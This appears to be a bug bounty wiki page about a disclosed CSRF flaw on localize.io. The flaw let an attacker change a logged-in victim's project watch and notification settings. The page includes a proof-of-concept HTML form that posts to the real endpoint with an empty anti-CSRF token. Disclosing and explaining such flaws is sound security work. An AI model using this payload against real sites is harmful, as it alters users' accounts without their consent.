Projects Watch or Notifications Settings Change Via CSRF
The server did not validate the anti-CSRF token on the endpoint that changes project watch or notification settings. An attacker could force a logged-in victim to alter those settings by submitting a crafted form.
Originally disclosed on HackerOne
- Fixed in under an hour
- Disclosed after 30 days
Hi Team,
I have found a CSRF vulnerability using which the attacker can force the victim to chnage the settings for Projects Watch or Notifications Via CSRF as the anti-csrf token is not getting validated on the server-side.
Projects Watch or Notifications Settings Change Via CSRF Code:
<html> <body> <form action="http://www.localize.io/watch/9s" method="POST"> <input type="hidden" name="CSRFToken" value="" /> <input type="hidden" name="watch[events][1]" value="0" /> <input type="hidden" name="watch[events][2]" value="0" /> <input type="submit" value="Submit form" /> </form> </body> </html>Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could change a victim's project watch or notification settings without their consent.
What the attacker needed
Victim is logged in; victim visits attacker page
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (Cross-Site Request Forgery) is when a malicious website makes a logged-in user's browser send a request to another site without the user's knowledge. Here, the server accepted a request to change notification settings even though the security token meant to prove the request came from the real site was empty. This let an attacker change the victim's settings.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.